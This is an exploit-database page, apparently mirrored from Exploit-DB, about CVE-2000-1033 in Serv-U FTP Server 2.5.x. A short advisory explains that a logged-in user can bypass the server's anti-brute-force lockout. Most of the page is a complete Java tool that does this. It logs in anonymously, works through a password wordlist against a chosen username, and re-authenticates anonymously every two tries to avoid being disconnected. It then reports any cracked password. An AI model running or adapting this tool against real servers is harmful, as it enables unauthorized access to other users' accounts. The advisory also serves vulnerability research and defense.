Lucene search
+L

Cat Soft Serv-U FTP Server 2.5.x - Brute Force

🗓️ 29 Oct 2000 00:00:00Reported by CraigType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

FTP Serv-U server allows brute force attacks post initial login, risking account compromise.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2000-1033
29 Nov 200005:00
cve
cvelist
Cvelist
CVE-2000-1033
29 Nov 200005:00
cvelist
euvd
EUVD
EUVD-2000-1020
7 Oct 202500:30
euvd
nvd
NVD
CVE-2000-1033
11 Dec 200005:00
nvd
source: https://www.securityfocus.com/bid/1860/info

FTP Serv-U is an internet FTP server from CatSoft.

FTP Serv-U contains an anti brute-force security feature which does not indicate whether an account is valid or not, after three unsuccessful login attempts a user is disconnected. Reconnection is not permitted until after a specified amount of time.

It is possible for a remote user to bypass the anti brute-force function within FTP Serv-U. Once successfully logged into the server either anonymously or with a valid account, a user can from that point brute force other usernames and passwords without ever being disconnected.

This could lead to a compromise of other user accounts on the ftp server.

import java.io.*;
import java.net.*;
import java.util.*;
public class newftpbrute
 {
	static boolean cancel=false;
 	static boolean found=false;

 	static String File;
 	static String User;
  static String line="";
 	static String FTPPass;
 	static String Server="";

  static int Counter;
  static int tries;

  static BufferedReader quelle;
  static DataInputStream sin;
  static PrintStream sout;
  static Socket s = null;



	void getdata()
 	 {
 	 	try
 	 	 {
	 	  System.out.print("FTP-Server>");
	 	  DataInputStream in = new DataInputStream (System.in);
	 	  Server=in.readLine();

	 	  System.out.print("Username>");
	 	  in = new DataInputStream (System.in);
	 	  User=in.readLine();

	 	  System.out.print("Wordlist>");
		  in = new DataInputStream (System.in);
	 	  File=in.readLine();
		  System.out.print("\n");
		   try
		  	{
		 	   quelle=new BufferedReader(new FileReader(File));
		    }
	     catch (FileNotFoundException FNF){};
 	 	 }
	   catch (IOException e){}
 	 }//getdata()





	void connect()
 	 {
 	 	try
 	 	 {
 	 	  s = new Socket(Server, 21);
	    sin = new DataInputStream (s.getInputStream());
	    sout = new PrintStream (s.getOutputStream());
     }
 	 	catch (IOException e){}
 	 }



	void CheckForAnonymous()
 	 {
 	 	try
 	 	 {
 	 	  boolean NoAno=false;

 	 	  sout.println("USER anonymous");

 	 	   if ((line=sin.readLine()).indexOf("331")==-1)
 	 	   	NoAno=true;

 	 	   while (true)
 	 	    {
 	 	     if (line.indexOf("220")>-1)line=sin.readLine();
 	 	     else break;
 	 	    }


	    sout.println("pass evil_hacker@j00r_server.com");

	     if ((line=sin.readLine()).indexOf("230 ")>-1)
 	 	    {
 	 	 	   System.out.println("Anonymous access allowed...");
 	 	     NoAno=false;
 	 	    }

 	     else
   	    NoAno=true;

 	 	 	 if (NoAno)
 	 	 	  {
 	 	 	   System.out.println("Anonymous Access not allowed...quitting!");
 	 	 	   System.exit(0);
 	 	 	  }

 	 	 }//try
 	 	 catch (IOException e)
 	 	 	{
 	 	 	 System.out.println("Error Connecting:"+e+" quitting...");
 	 	 	 System.exit(0);
 	 	 	}


 	 }//CheckForAnonymous




 public static void main(String[] args)
	{
 	 System.out.println("NEW type of FTP brute force\nCoded by Craig from [ H a Q u a r t e r ]\nHTTP://www.HaQuarter.De\n");

   newftpbrute now=new newftpbrute();
   now.getdata();
   now.connect();

  try
   {

    if ((line=sin.readLine()).indexOf("220")==-1)
		 {
		  System.out.println("Error...ftp server sends unexpected input");
		  cancel=true;
		 }


     now.CheckForAnonymous();

     while (cancel==false && ((FTPPass=quelle.readLine())!=null))
	    {
       Counter++;
       tries++;

       System.out.println("#"+tries+" "+FTPPass);
       sout.println("USER "+User);

       if ((line=sin.readLine()).indexOf("331 ")==-1)
       	{
       	 System.out.println("Error: username not accepted...quitting ");
         System.exit(0);
       	}

       sout.println("PASS "+FTPPass);

	 	    if ((line=sin.readLine()).indexOf("230 ")>-1)
   	     {
   	      found=true;
   	      break;
   	     }


	     if (Counter%2==0)
	     	{
	     	 System.out.println("-");
	     	 sout.println("user anonymous");
	     	 line=sin.readLine();

	     	 sout.println("pass evil_hacker@j00r_server.com");
	     	 line=sin.readLine();

	     	 Counter=0;
	     	}

	    }//while


   if (found==true)
   	System.out.println("\nAccount was cracked after "+tries+" tries. Password for user "+User+" is \""+FTPPass+"\"\n");

 }//try
 catch (IOException e){}



}//main






}//class

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.07558
46